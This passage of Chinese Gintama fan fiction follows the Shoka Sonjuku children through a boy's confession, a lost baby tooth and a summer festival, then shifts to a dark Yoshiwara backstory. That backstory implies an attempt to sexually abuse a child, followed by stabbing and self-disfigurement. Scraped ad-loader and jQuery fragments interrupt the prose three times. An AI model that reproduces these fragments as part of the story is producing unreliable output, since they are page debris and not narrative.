正田同学努力抑制住自己的眼泪,用力吸吸鼻子,整个脸皱皱巴巴的很是滑稽 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 桂却认真地看向正田的眼睛,语气温和。 “你不是还有一定要做的事吗?一定要对美里同学说的话。” 正田同学抓着美里的手紧了紧。 “正男同学,少女……少男的眼泪可是最不能辜负的哦。” 银时挑眉,红色的眼里溢满了笑意。 “唔唔唔!” 不知道从哪里叼来一块大猪排的律也严肃地点头应和。 高杉也忍不住笑了,木刀笔直向前,眉眼肆意。 “你放心去吧,背后就交给我们。” 银时哼笑一声,“区区矮杉抢什么风头呢。” 高杉难得没有生气,只是唇角微挑,锐利的目光锋利如刃刺向眼前的猎物。 他舔了舔唇角,冷眸微眯,心中战意大盛。 “哼哼哼,银时,我们来比比谁先打倒他。” 男人又惊又怒,眉毛气得纠结在一起,浑身的肉都在涌动。 “你们……你们是什么人!” 银时把刀举过肩膀。 “松下私塾,坂田银时。” 高杉慢条斯理抽出木刀。 “松下私塾,高杉晋助。” 律飞快嚼碎猪排,咕隆咽下去,从身旁快速抽了一把矮凳。 “松下私塾,赤鬼律,嗝~” 桂拍了拍身上的灰,走到同伴身边,顺手抄起放在桌上的木刀。 “松下私塾,桂小太郎。” “参上!!!” * 狂风在耳边呼啸,心跳声与喘气声剧烈交织。还不能停——每一次呼吸都仿佛胸肺在燃烧,继续跑! “正……正田同学……” 美里却气喘吁吁地停下来,尾音里带着哭腔。 正田顿了一下,混沌的大脑现在才慢慢回过神来。 美里噗通一下跪坐在地,仿佛裂开的匣口般眼泪大颗大颗地滑落,悉数跌入泥土,他用力捂住脸,表情终于承受不住汹涌的感情,他崩溃得大哭。 美里的突然哭泣让正田措手不及,他伸手想拍他的肩膀却又犹犹豫豫,急得舌头打结。 “美……美里,是……受伤了吗?” “呜呜呜……”美里哭得更大声了。 正田急得直跺脚,口干舌燥却不知该如何安慰,他简直要束手无策了。 “对了!” 脑中闪过一道光,正田猛地想起来那样东西。 “美……美里,别哭了,看……” 正田花了很久才掏出那个被压坏的礼物。 美里停下擦拭眼泪的动作,呆呆地看着静静躺在他手里的花环。 白色的花瓣皱皱巴巴,焉嗒嗒的叶子掉了几片,小巧的花骨朵笨拙地缠在被折出痕迹的茎杆上。 少年红着脸,磕磕绊绊地安慰他心动的“女孩” “这是你喜欢的花,我比较笨,桂同学教了我好久才编成这个花环,我……我一直有句话想对你说。” 半颗浑圆的太阳温柔地笼罩地上的孩子们,暖橘色的光轻柔铺洒在男孩平凡的侧脸,他的眼神却亮得惊人。 “美里,我喜欢你。” 美里微微张着嘴,神情茫然,好半晌才迟疑地说: “可……可我是男孩子呀……我……我骗了你,我骗了大家……” 正田急忙摇了摇头,表情认真得可爱,死机了半天的语言功能突然通上了电。 “不……我不在乎你是因为什么原因才假扮成女孩子,但那天安慰我的是美里,送我礼物的是美里,不管是男孩子还是女孩子,美里同学在我眼中就是最可爱最漂亮的,我最喜欢美里同学了。” 正田稀里哗啦一口气把心里话倒出来,说完又有点羞涩,脸“騰”地一下红了,好在夕阳轻笑着替少年打了掩护。 美里怔怔地看着流露真心的少年,倏地笑了,弯弯的酒窝里盛着醉人的夕阳和暖风。 眼泪却又噗通一下跌下来,轻轻砸在小小的白白的山荷叶上,泪水把花瓣慢慢染得晶莹剔透,正是应和了它的花语:纯洁的爱。 “很高兴认识你,正田同学。” —————————— 小孩子的爱情写得我满脸姨母笑嘿嘿嘿;-) 11. 拔牙要干脆 高杉同学最近很苦恼。 他感觉下颚右前排的乳牙隐隐松动,用舌头去推,就会像摇杆一样前前后后微微晃动。 起先高杉并没有在意这颗的乳牙。毕竟乳牙的松动并不明显,它一个顽强的小卫士,紧紧咬着牙龈上那块肉。 松阳笑着告诉他多吃点玉米甘蔗蔬菜,让乳牙自然脱落比较好。 于是很长一段时间高杉的碗里都是玉米糊糊,蔬菜粥这种清淡的东西,导致高杉那段时间看到粥就有点反胃,嘴里清汤寡水,像白开水一样令人提不起食欲。 但那颗摇摇欲坠的乳牙仍然恋恋不舍地依偎在牙床,除了细细的尖锐而持续的疼痛,像个小电钻在牙齿里钻啊钻,那疼痛还会扩散到脸颊,耳朵,牙龈红肿得发热,右侧的脸颊一天比一天肿胀。 高杉时常半夜被细细麻麻的疼痛吵醒,那是一种如影随形的疼痛,好似有无数只蚂蚁在啃噬着牙齿,又像是被尖针不停地扎刺。 疼痛偶尔会如潮水般汹涌袭来,让人难以忍受,偶尔又会像细丝一般隐隐作痛,虽不剧烈,却也让人烦躁不安。 某路过白毛提出建议:用细细的牙线绳捆住牙根黏连的那块红肿的齿肉,让肉慢慢失血坏死,乳牙就自然而然掉了。 高杉信以为真,把牙根缠了一圈又一圈,忍着牙床密密麻麻的疼痛过了好几天。 但高杉后面才发现牙根太长已经扎到了牙肉的小凹槽里,牙线缠再久也没有用的。 小高杉遂恼羞成怒把出歪主意的某个白毛揍了一顿,又因被松阳告诫不能随便去碰高杉肿起的右脸,白毛犹犹豫豫不敢还手,就被结结实实地揍了一拳。 高杉最近叹气的时间比往常还多,饭也吃不下,睡也睡不好,偶尔上课还会撑着左脸皱着眉头发呆。 “乳牙,那种东西直接上手拔好了。” 律长大嘴巴给高杉看缺了一颗牙的齿列。 那块光秃秃的地皮上已经悄然冒出一个小牙苞,白白的一块不规则尖角,像破土而出的种子,律失常被痒得疯狂舔那块牙齿,恨不得深入牙床深处挠一挠。 律歪着脑袋不明白高杉的苦恼。 “之前吃一块硬硬的肉,嘎嘣一下乳牙就掉了。”律伸手指了指另一处漏风的地方,“这里,跟银时打架的时候掉了,不过很快就能长出来。” 高杉蹙起秀气的眉,不赞同地摇头。 “直接拔掉乳牙很容易会损伤周围的牙龈、牙槽骨或其他牙齿。很大概率会引起出血、感染等问题,暴力拔掉乳牙的话,也会导致恒牙萌发排列出问题。” “啊?” 律脑袋晕乎乎的,拔个牙齿还有这么多讲究吗? 他回想起自己已经掉得差不多的乳牙,嗯……还没穿到这个世界的时候,咬断敌人脖颈的时候一颗乳牙卡在了粗糙的皮毛上,大口吃肉的时候被一颗牙齿哽住,差点被当场送走,晚上抱着猫上树睡觉的时候流着哈喇子从树上掉下来,吧嗒摔出一颗乳牙…… 律脸色唰一下就白了,惊恐万分。 原来他之前这么残酷无情地折磨自己的牙齿之久吗? 他心有余悸地拍着胸口,嘴里哔哩吧啦飞快吐出一些劫后余生的话语: “感谢牙仙大人不杀之恩……” 这颗小小的乳牙仿佛成了悬挂头顶的达摩克里斯之剑,高杉无法预测什么时候掉落,那种又苦恼又期盼的心情像挥之不去的阴霾笼罩他。 “哎……” 高杉忍不住再次叹气。 桂捏着饭团乐呵呵安慰: “嘛嘛,拔牙就像吃一碗超长的荞麦面一样,你拼命吸啊吸啊苦恼着怎么这么长啊还没到头啊我吃得真的是荞麦面吗,就这样吸啊吸啊想啊想啊,突然啵地一下面条断了,回过神来发现,啊,原来我已经到头啦……” 高杉被桂奇妙的比喻整笑了,那股心头沉甸甸的压抑一下子消散了,如同一股清风吹散迷雾,紧蹙的眉头缓缓舒展开来。 桂把捏好的一个饭团替给高杉,莞尔一笑:“这种事情谁说的定呢,不如大家坐在一起捏饭团好了。” “你说得对,我确实被这件事绊住了手脚。” 高杉掂着饭店自嘲般笑了笑,“这太不像我了。” 二人其乐融融地聊起天,律循着饭团的味道流着口水吭哧吭哧跑过来。 “你们在吃什么,我也要。” 律大半个身子趴在桂的后背,下巴靠在肩头,微微翕动鼻翼,可怜巴巴地盯着诱人的饭团。 某拖着刀打哈欠的白毛路过,摇头晃脑加入村塾小团体聚会,屁股一骨碌挤到高杉旁边,自然而然地靠在高杉单薄肩头呼噜大睡。 “喂……” 高杉炸毛,右手用力撑开银时毛茸茸的脑袋,银时没骨头一样把整个重量都压上来,高杉放手后像磁铁一样死皮赖脸粘回去。 “好困哦,矮子的肩膀高度刚刚好,借阿银睡一会……” 银时整个人困得无精打采,仿佛被抽走了所有精力,只剩下一副空空的躯壳,肩膀耸搭着,上眼皮和下眼皮好像在打架,他不时地打着哈欠,脑袋差点从高杉肩膀上滑下来。 高杉不满地嘟囔了一会,最终是没有把银时推开。 “嚼嚼……嚼嚼……” 律全神贯注地吃着饭团,津津有味,脸上时不时溢出的幸福的微笑让高杉也升起一丝食欲,律的吃相虽算不算优雅,却充满了真实和自然,每次看着他吧唧吧唧的吃相,高杉他们都会忍不住多吃一点。 “啪嗒。” 一颗小小的洁白的乳牙咕噜咕噜从高处滚下,扑哒一声晃了两下就停住不动了,静静地躺在榻榻米上。 高杉怔了一会,嘴巴微微张开,却又没有发出任何声音。 他捏起那个小小的乳牙,略有些尖的牙根上带着一丝丝血迹,形状不规则,像沙砾一样硌手。 牙床缺漏的那块泛起丝丝缕缕的血,淡淡的铁锈味顺着舌尖弥漫。有点疼,但更多的是轻松,高杉像终于结束一场漫长的折磨般松了口气。 桂像是发现新大陆一样震惊得跳起来,啪嗒啪嗒跑去拿来一块浸透水的纱布,紧张兮兮地告诉高杉用纱布咬住创口。 银时迷迷糊糊醒过来,揉了揉惺忪的眼,用力伸了个懒腰。 桂严肃地交代乳牙掉了后的注意事项。 “止血三十分钟左右后才能拿掉纱布,这段时间吃温凉清淡的食物就好,嗯,按你之前那样吃。还有,特别小心不要用 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 舌头去舔,以免影响创口愈合。” 高杉皱了皱眉,没想到一场煎熬的折磨结束后还有一场小折磨接踵而至。 他脸上写满无奈,嘴巴微微撅起,最后还是轻轻点了点头。 律在一旁好奇地盯着高杉手里小小的乳牙。 “这个东西这么小吗?我以前都没有注意过耶。” 银时无所事事地瘫在地上撑着后脑勺,嘴里说着一些欠揍的话。 “听说把掉下来的乳牙扔过屋顶的话可以长高哦,想必矮杉同学一定很心动吧。” 如同被踩了尾巴的猫一样,高杉立刻往银时腰窝踹了一脚,快要碰到的时候银时突然像个滚轮一样咕噜噜侧滚到墙角,摆出受伤的表情吱哇乱叫。 “啊啊啊矮杉欺负同学啦——” 律突然有些懊悔,他不该把牙齿随便丢掉的,掉了那么多颗乳牙,按一颗一公分算的话,他早就比银时高了。 桂勉强挂着笑容打断银时和高杉二人即将爆发的新一轮争吵。 高杉只是冷哼一声,拳头攥着那颗小小的乳牙。 * 今夜没有星,如水的月光清透,洒在大地上像一片朦朦胧胧的银沙,让高杉想起用来止血的纱布。 一个小小的黑色的身影鬼鬼祟祟,从半开的和室门哧溜一下钻出来,他四下观察了一番,除了风吹过树叶的沙沙声只余银时叽里咕噜的梦话声和律吧唧嘴的声音。 高杉在心里轻轻地叹了口气,有些紧张地蹑手蹑脚走到宽阔的院子里。 屋顶瓦楞倾斜,出檐深远,月光照在半面屋檐上,仿佛给它擦上一层银灰色的漆,另一面却黑漆漆的像个庞然大物。 高杉挑了最高的一间和室,卯足力气,用力抡圆手臂,只听“哒”的一声,乳牙就顺着斜斜的屋顶一路颠簸咕噜咕噜滚下去。 他的嘴角微微上扬,眼角眉梢都透露出难以掩饰的欣喜,尽管周围黑乎乎的,少年还是用拳遮住嘴巴试图掩饰笑意。 在高杉注意不到的和室里屋,三个小脑袋一排摆在大敞的抽拉门边缘。 桂压着嘴轻笑。 银时抠着鼻屎,肆无忌惮地嘲讽:“哈哈哈,高杉那个小矮子真的信了哈哈哈哈。” 律撑着脑袋幻想着高杉噌的一下拔高后,他就是四人组里最矮的那个了! 他顿时打了个寒颤,摇摇头把这个可怕的想法丢出脑外,在心里嘀嘀咕咕:对不起了高杉同学,你还是不要长高好了。 不知道以后的高杉得知自己一直是四人里最矮这件事有律的诅咒这么一个原因在会如何想。反正现在的小高杉还没有被残酷的现实无情地打击,仍抱着终有一日超过银时的美好幻想进入梦乡。 虽然银时总把“矮子矮子”的嘲笑挂在嘴边,但心有戚戚害怕哪天矮杉小不点真的比自己高了那可就太丢人了,这辈子都会被嘲笑的。 于是同样的一个晚上,同样的一个地点,银时偷偷摸摸把前几天掉下来的乳牙扔到屋顶后面,拍拍手哼着歌准备回去睡觉的时候。 三颗排成一排的小脑袋静静地看着他,高杉亮绿色的眼里带着得逞的笑。 —————————— 拔乳牙真的好煎熬的说(T_T) 12. 不管是大人还是小孩都会被烟花这种东西迷住吧 夏天的尾巴就在充满桃子味的气息,聒噪的蝉鸣声和压满枝头饱满欲滴的石榴花中悄然而至。 蝉鸣声渐歇,葳蕤的草木染上金红色的秋风,空气仍是燥热,但那干燥的温度里不知何时夹杂着一丝丝凉爽。 对村塾里的小孩子来说,夏天的终章意味着欢喧鼓舞的夏日祭,意味着可以穿上好看的浴衣,吃平日里不舍得买的苹果糖、烤棉花。 “夏日祭,那是什么?” 教室里已褪去灼烧的炎热,凉爽爽的风穿过篱笆竹携着初秋的气息飘进教室里。 银时和往常一样靠在教室墙角打着盹儿,对他来说,夏天的结束不过是另一个季节的开始,仅仅是温度变化的期限罢了。 松阳捧着书,笑眯眯地回答: “它是一种充满欢乐和传统特色的庆典活动,大人们孩子们会在那一天穿上漂亮的浴衣,欣赏烟火,享受美食。” 自动触发关键词,律眼前一亮,唰地举起手。 “也就是说,夏日祭可以吃很多好吃的咯?” 他的语气里充满对美食的垂涎,激动的神情令大家都哈哈笑起来。 松阳点点头,温柔看着律。 “也可以这么理解,夏日祭起初是为了祈求神灵保佑,庆祝丰收的活动,随着时间推移,它慢慢演变成一种社交和娱乐活动,抚慰劳作的艰辛,用更饱满的精神状态迎接新的一天。” 松阳微微扬起眉头,目光顺着初秋的风的痕迹,思绪慢慢飘荡,仿佛想起了悠久的往事般,嘴角噙着温柔的笑意。 高杉撑着脑袋看松阳,松阳柔软的秀发随着微风轻轻飘动。这个夏天真的发生了太多事,被逐出家门,拜松阳为师,夏天像一个五颜六色的调色盘,沾着颜料不由分说给他空白的生活涂上浓墨重彩的一笔。他的羁绊,他的向往,他的憧憬全在炎热夏日的桃子味香气里氤氲,升腾。 那夏日祭也是有举办的必要了。高杉撑着脑袋慢悠悠地想。 * 今日的夜晚不似往常那般,夜晚很亮,花灯如簇,五光十色。写着“祭”字眼的红色纸灯挂在小摊上,如蚕豆大小的火星子哔啵声脆。街衢人潮涌动,男男女女穿着鲜艳的漂亮的,还带有褶皱的浴衣。手持团扇,艳丽的女子以扇掩面,笑语盈盈,暗香浮动。牵着孩童的老人絮絮叨叨叮嘱,孩子的心却溜哒哒飞到烤章鱼丸子的香气堆里。 松阳领着四个小萝卜头们漫步在彩灯摇曳的夏日祭街道里。 银时他们穿着西村婆婆塞给他们的浴衣,据那个老太太说,这是他儿子小时候的衣服反正留着也没用了你们拿去穿吧。 淡蓝色的浴衣佐以蓝白色流云纹点缀,走动的时候,浴衣下摆摇曳,那云纹就轻轻地流动起来。银时倒是喜欢得很,难得小步小步慢走生怕一个大力把有些发白但仍很漂亮浴衣扯坏。 桂的浴衣是深绿色的,庄重大气的颜色确实很适合桂严谨的气质。桂扎着高高的马尾,撩起宽大的和服袖子,蹲在一个小摊边看别的小孩子捞金鱼。 律同样好奇地蹲在捞金鱼的摊子面前,瞳孔顺着金鱼摇头摆尾的游弋一左一右移动。 深红色的浴衣配上耀眼的红色头发,令捞金鱼的小朋友忘了手上动作余光频频看他。 老板看了看,摩挲下巴拉渣的胡子,眉开眼笑。 “呦,这位小哥,要不要试试捞金鱼,一次十分钟,一百円,全部捞上可以免费哦,还可以送可爱小玩偶一个。” “免费?!” 律眼睛亮了,信誓旦旦:“老板,来一次。” 桂无奈地摸了摸律飘扬的头毛,很熟练地从袖带里拿出小钱包。 金红色的小巧身躯在水里自由自在移动,当捞鱼小网触碰到水面荡开微小的波浪时,鱼儿们像烫屁股一样飞速摆动鱼尾,迅速敏捷地在池子里乱窜。 老板摸着下巴呵呵笑,这种小金鱼游得快又难抓,他摆摊好几年了都没见过全部捞上的,开始前自信满满的客人往往弑羽而归。 律没有被鱼儿突然的动作吓得束手无策,只是保持着持网的动作,静静地观察鱼儿游动的轨迹。 许是种族自带的天赋,律的眼睛可以很轻易看到鱼儿在清澈的水里摇曳出的水流,翕张的嘴唇里吐出小小的泡泡。 有段时间他的猫很爱吃鱼,又肥大又鲜美的鱼肉。他经常大清早跑到河边叉鱼,动作又快又精准,往往水波晃动一下,一条肥美的鱼已经在尖尖的树枝上了,腮盖还在缓慢而有节奏的扇动。 律琥珀色的眼珠子死死盯着游动速度慢慢缓下来的金鱼的红色的鳞片,暖黄色的光徜徉在波光粼粼的水面,律轻轻眯了眯眼。 薄薄的透明的鱼鳍轻快扇动,水波贴着流畅优美的身形丝滑略过,空气很静,老板和桂都不由得屏住呼吸,随着律的目光看向游弋的金鱼。 律目光一凝,在老板和桂还没反应过来就以迅雷不及掩耳之势出手,“哗啦”一声,两条小金鱼扑腾着跌进细细的网。 桂回过神来,很给面子地鼓掌,笑道:“好厉害呀,律。” 老板讪讪笑着摸了摸鼻尖,心里泛起嘀咕:这小子深藏不露啊。 律的眼里闪过自信的光芒,手下动作不停,毫不拖泥带水,以惊人的速度接二连三捞起一条,两条,三条…… 下水,捞起,放入,动作连贯一气呵成。 桂鼓掌的速度险些跟不上律捞鱼的速度,瞪大眼睛,嘴巴呆滞地微张,身体下意识前倾。 老板震惊得胡子发抖,嘴巴抖抖嗖嗖说不出一句完整的话。 老板从没觉得十分钟这么漫长过。 水池里的鱼一只只被捞起,原本略有些拥挤的水池变得空荡荡,仅剩几只划得最快的金鱼在孤单单的空间逃窜。 老板不住地安慰自己,没事没事,只剩一分钟了…… 观看的桂下意识捏紧拳头屏住呼吸,生怕一个大喘气就把鱼吓跑了。 律的精神高度集中,眼神严肃起来,只见捏着捞鱼网的手腕轻轻一扭,一道藕白色的手臂在眼前一闪而过,透明的水波微微颤动。 “好耶!” 桂忍不住跳起来大声欢呼,眼神发亮,脸上闪着激动的。 “你太厉害了,律!” 律昂着头心安理得地接受桂的夸赞,被他哄得心花怒放,无形的尾巴在身后疯狂摆动。 老板失魂落魄,险些挂不住笑容,抖抖嗖嗖地把还没捂热乎的一百円替过去。 “恭喜这位小客人……这是你们的奖励。” 老板手里躺着一只雪白色的巴掌大的不知道是鸭子还是企鹅造型的玩偶。黄色的大嘴巴,圆圆的呆滞的眼神一下子戳中桂的心巴。 他满脸红晕,眼神发亮,目不转移地把目光投向那只造型奇特的玩偶。 “好……好可爱!” 律一脸困惑,这个很可爱吗? 想了想,律一把抓过鸭子玩偶,塞到桂的怀里,无所谓地说:“送你了,假发。” 桂难得没有反驳“不是假发,是桂。”双手捧着鸭子玩偶,心情如同跳跃的音符,激动令他的目光炯炯有神。 “太好了!伊丽莎白斯——” 律和老板的脑袋里同时浮现黑人问号:伊丽莎白……? * 另一边。 人头攒动的射击小摊面前,老板看着蜂蛹而来和跃跃欲试的人们,笑得合不拢嘴。 熙熙攘攘的人群自动给摊前的两个小小身影划出一道半圆。 银时和高杉正在全神贯注地比赛谁射中的气球最多。 起先银时只是舔着苹果糖路过这个门可罗雀的小摊,奈何一个穿着紫色竹纹浴衣的身影一下子吸引了他的注意力。 “呦,矮杉君一个人在玩什么呢。”银时拖着那令人牙痒痒的欠揍音调走过来。 “哦吼,矮杉同学会玩比你那塞进易拉罐也够不着的身高还高的弓箭吗?” 高杉放下拉满弦的弓,慢条斯理回身,亮绿色的眼眸里战意大盛,挑着眉挑衅道:“银时,我们来比比谁射中的气球多,你敢吗?” 银时停下了挠头发的动作,殷红色的瞳孔瞬间动了动,他咧着嘴,白色的牙齿在昏暗的角落里显得阴森森。 “乐意奉陪。” 二人的比试从比 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 谁射中的气球多慢慢变成一定要比对方坚持得久。 老板在二人射完全部气球后休息的片刻火速又换上一批气球。 “两位小哥还比吗?现在比分是37:36” 人群哗然,几个神情激动的看客大声叫道: “紫发小哥加油!超过那个白毛!” 银时揉了揉酸痛的手臂,得逞的目光投向高杉。 “呦,高杉,我比你多一分哦,还要比么,再比下去也是阿银的胜利哦。” 高杉鼓着脸有些不服气,被汗水濡湿的发丝软塌塌贴在脸侧,在灯光照耀下的眼睛亮亮的,不甘心的眼神无处可藏。 高杉想了想还是放下弓箭,用袖口擦了擦汗,认真地说:“我输了,银时,57胜98败,下次一定赢回来!” 银时满不在乎地抠着鼻屎,把小指头上黑乎乎的东西弹飞。 “小矮子想要赢我等下辈子吧哈哈哈哈。” * 四人在精疲力尽地玩耍过后终于汇合,在一个卖御手洗团子的小摊边找到了乐呵呵跟店主聊天的松阳。 “松阳老师——” 松阳寻声回头,目光温柔如水,整条街衢璀璨明灭的光火都在其中闪烁,嘴角勾起一抹浅笑,温柔的笑意能融化人心。 店主了然一笑,“这就是你说的可爱的学生们吧。” “松阳你跑到哪里去了啊?这么大人还令小孩子操心。” 银时拽着松阳的衣角碎碎念,明明乱跑的人是他,反倒被他倒打一耙。 “老师,我们接下来去哪里?” 高杉做不到像银时那样毫无顾忌地拽着松阳撒娇,只是脸色微红,直白热烈的目光恨不得黏到老师身上。 律已经扑倒三色团子面前兴奋地摇尾巴了。而桂满脸无奈拽住他的衣带,叮嘱他不要把口水流到团子上了。 松阳笑着摸了摸银时,高杉,桂的脑袋,腔调里止不住的笑意。 “烟火祭快开始了,我们就在这里看吧。” 松阳给四个小孩买了团子,就带着他们安安静静坐在小板凳上等待烟火。 当夜空第一道流星划过宇宙天际,热热闹闹的人群停下步伐。 “嘭!”整个天幕瞬间被点燃,似五彩斑斓的花怒意绽放,一朵又一朵接连不断,争先恐后地舒展明媚耀眼的火花。烟火升腾在空中,如梦幻泡影又转瞬即逝,仿佛整个银河的星星在下坠,绚丽夺目的星子闪着耀眼的光芒四散飘落。 像雪花一样悄悄融入人群,它来时轰轰烈烈,硬是要惊艳所有人的目光,像一场绚烂的盛宴,去时却惊鸿化雪悄无声息,将生命中最灿烂辉煌的一刻永远留在人们的印象里。 松阳的脸被明明灭灭的花火照得红红紫紫,银时觉得这一刻的松阳好像沾上了烟火气般,从那个温柔但总是目光疏离的松阳从他的真空袋里硬生生拽出来,步履蹒跚跌进五光十色的人群。 那一刻,银时突然明白了松阳对他说“你捡到了我”那句话的意思。 流浪的孤独的疏离的大鬼捡到了在尸体堆里长大的小鬼,从此他的世界有了色彩,柔软的情绪构成骨骼和血肉,像个初学步的稚子在生机勃勃的世界跌跌撞撞,在欢笑与泪水交织的乐章里慢慢成长为“人”。 松阳温柔地摸了摸银时的脑袋,律流着哈喇子酣睡在松阳的膝头,高杉一动不动如痴如醉欣赏绚烂的烟火,桂抱着律送给他的伊丽莎白玩偶打盹,脑袋小鸡啄米一样一点一点。 松阳挨个摸了一下四个小萝卜头的脑袋,银时下意识像猫一样在松阳温暖的掌心里蹭了蹭。 那双灰绿的眸子藏着漂亮的烟火,仿佛整个世界的繁星都被吸了进去。 绿色的眼眸含着笑意,很多年后银时看到烟花就会想到那个晚上亮得发烫的眼睛。 松阳的声音被夜晚暖熏熏的风吹得淡淡的。 “秋天,要到了。” ———————— 哎,想到松下私塾我就想到烟花,银时他们生命里最深刻最难忘最绚烂的时光。私心里希望银时他们对烟花的第一印象就是和松阳一起度过的欢闹的晚上。 13. 欢乐的时光总是过得很短暂 女孩被西村婆婆捡到的时候是在一个飘满枫叶的秋天,所以被叫做西村枫。 阿枫原来的名字是何已经不可考究了,还小的时候,她还不是吉原里人尽皆知的小偷,扒手,惯犯,姐姐们喜欢用青楼里随处可见的东西调笑般称呼她。 比如小花子,小香炉,小玉兰…… 隔一段时间换一个名儿,变来变去总没有个标准,但阿枫总是能神奇地知道那些名字叫的都是她,后来大家也渐渐淡了这股乱取名儿的乐趣,索性用“喂”来替代,你看,方便又好记,毕竟在青楼总是利索地干着各种杂活忙上忙下乐此不疲的小女孩儿只有阿枫一个。 “喂,帮我端盆水。” “喂,帮我告诉妈妈今天休息哦~” “喂”“喂” …… 吉原是一座在硝烟烽火,家国动荡中安然若素的地下之城,除了刚刚获得夜王称号掌握吉原的凤仙,这里全是女人。 这是一座欲望之城,贪婪之城,有人说它是男人的桃园乡,无论是落魄的武士还是高傲的天人或是平庸的走卒贩夫,当踏入吉原势力范围的那一刻就不可避免沉溺于吉原女人们能袖善舞的手段里,痴醉于巧笑嫣然替过来的一杯酒里。 阿枫是一个花魁与客人生出的孩子。 这里的女人们就像长在污泥在黑暗里盛开的娇艳的花,放浪形骸欢歌浪语,菟丝花般的身躯妖娆又易折,她们把血泪和苦痛当做养分,舞动的宽大华丽的衣袖背后藏着千疮百孔的灵魂,脂粉与彩妆遮掩泪水,欢笑与歌舞隐匿薄凉。 吉原的女人们把容貌身材当做武器,当那个妓女被客人的花言巧语哄骗生下阿枫的那一刻她就失去了自己最大的武器。从高台跌落,像一只绚丽的蝴蝶折断翅膀,狠狠摔断纤细白皙的玉臂,鲜红的血液像蜘蛛缠在身上的丝,悄悄地顺着腿肚子往上爬,一圈一圈让窒息感如淹没般煎熬又绝望。 阿枫记事起女人已经死了,妈妈惦记着前任花魁举世无双的美貌和令男人神魂颠倒的魅力收养了阿枫。她五岁前没有被教授任何服侍他人的知识技巧,妈妈埋怨不能接客的阿枫是个赤裸裸的吞金兽,要吃掉很多大米。因此小心眼地见不得阿枫闲着,可以说青楼里大大小小的杂物都是阿枫承包的。 阿枫艰苦但安安稳稳的小日子在五岁那年结束了,妈妈一改常态,勒令她不准挑重物,不准触碰尖锐物品,走路不准上蹿下跳……但被条条框框约束的同时阿枫的日子却过得比以前滋润了。她倒也不是很讨厌。侍女每天给她乌黑漂亮的头发涂抹很香很香的精油,身体也会擦好闻的香膏,伙食是白嫩嫩的不含杂质的细米。有时候侍女们会教她化妆,殷红唇角,小巧贝齿,眼线勾出纯真且妖媚的弧线。 阿枫这两年渐渐张开了,几乎每天都化着妆,走路自带一股风流雅韵,身形盈盈,一颦一笑间隐隐流露曾经令男人神魂颠倒的花魁的风韵。 年幼的女孩尚不知道世道和人心的险恶,她成长在脂粉衣绸堆里,自幼学一套青楼里的规矩,对犄角旮旯的胡同里的哀怨和绝望聪明地选择了闭眼,她想过有一天会走上生母的老路,但又有什么关系呢,她想。 至少在这里可以活得更轻松点。 但眼前的这一切却从来不是阿枫想过的,甚至说,比她幻想里最坏最坏的结果还糟糕。 肥头大耳的男人,油光满面,肚子上的肥肉随着恶心猥琐的笑容震颤,那狭小的眯着的双眼毫不遮掩地流露出垂涎的目光。 这个国家就像一道结痂的疤,当伤口被外力狠狠撕碎时,藏在血肉里的脓液就一股脑全部显露出来了。 趾高气扬的妈妈阿谀讨好这个直勾勾打量她的男人。阿枫知道有些人就是喜欢年幼的孩童,国家尚且安稳时他们就像隐藏在阴沟里的老鼠躲躲藏藏,当头上那道不可一世的枷锁突然断开时,这些变态仿佛从下水道涌出的污水般令人作呕却又洗不干净。 阿枫感到惊恐,她仿佛预感到接下来发生的事情,高高的木屐成了绊脚石,宽大的衣袍变成沉重的铁锁,她就像突然被剥光的木偶,在舞台上战战兢兢地恐惧着每一道不怀好意的目光。 女孩很感谢五岁前的自己,这两年的养尊处优没有把她因挑水搬东西而力气稍微比别人大一点的手臂养废。女孩在男人扑倒她身上的时候用发簪重重地捅进粗犷的脖颈。 阿枫的脸上沾着满面血,凌乱的裙子染了半面鲜红,液体顺着裙摆一滴滴荡开红色的花。她光着脚,提着裙摆飞快地跑过尖叫的妓女们,那一道道惊恐,震惊,害怕的目光砸到她身上时阿枫感到由衷的喜悦。 没有杀人的恐惧,或者把簪子捅进血管的害怕,阿枫发现自己反而很冷静,提着血淋淋的裙摆,浑身轻快地踮着脚尖边跑边跳,她不由自主地笑了。 后来阿枫被抓住了,脖子上缠着厚厚纱布的男人气得眉毛在发抖,怒不可遏要求妈妈把阿枫活活烧死。 一个叫日轮的小女孩流着泪向妈妈求情,阿枫记得隐隐约约在日轮的房间看到过凤仙的身影。 难道夜王大人也有那见不得人的癖好? 阿枫混混沌沌地想,被自己这个念头逗笑了,额头被砸开的伤口咕噜咕噜涌出红彤彤的血,她的视线一阵一阵模糊。 可能是夜王凤仙响当当的名头,男人不敢在吉原闹事,毕竟,这里的每一个女孩儿都属于吉原的财产,他就算再愤怒也没有资格越过凤仙私自处置阿枫。 阿枫后来再也没有见过名字像太阳一样的日轮。 她把自己的脸划了,用那个划破男人脖子的簪子,本来她嫌恶心,但被血淋淋地丢出来的时候身上除了衣服只剩下这个。 她撕开衣袖拼命地擦,擦簪子上干涸的血,一遍又一遍,薄薄的衣服划破了,就用手掌,抖抖嗖嗖地擦,热腾腾的血咕噜噜流,在金色的簪子上滴滴答答,冒着白雾般的冷气。 她被赶走的时候是冬天,凌冽的寒风似乎能吹到人骨头缝里,裸露在外的手指和耳朵很快变得冰红麻木,雪花寂静而纯洁,一小片一小片晶莹剔透,美得像纯净的精灵。 …… 后来阿枫干起了小偷小摸的勾当,她没有被教会任何生存技巧,哪怕在青楼里做着杂活,食物也是被分配好的,阿枫没有挣钱这个概念,就算有,凭她那张破破烂烂的脸也没有任何商家敢雇佣她。 阿枫身形小,瘦骨嶙峋,走在路上都不会有人注意她。戴着兜帽悄无声息的摸走哪位客人的钱包,那人直到入了青楼才尴尬发现自己的钱包不见了。 有时候阿枫被逮个现行,几个商家怒气冲冲箍着阿枫的手臂,掀开她的兜帽被那张没有一块完好皮肤的脸吓得一抖擞,阿枫就抢回手臂一溜烟从空隙里钻出去。 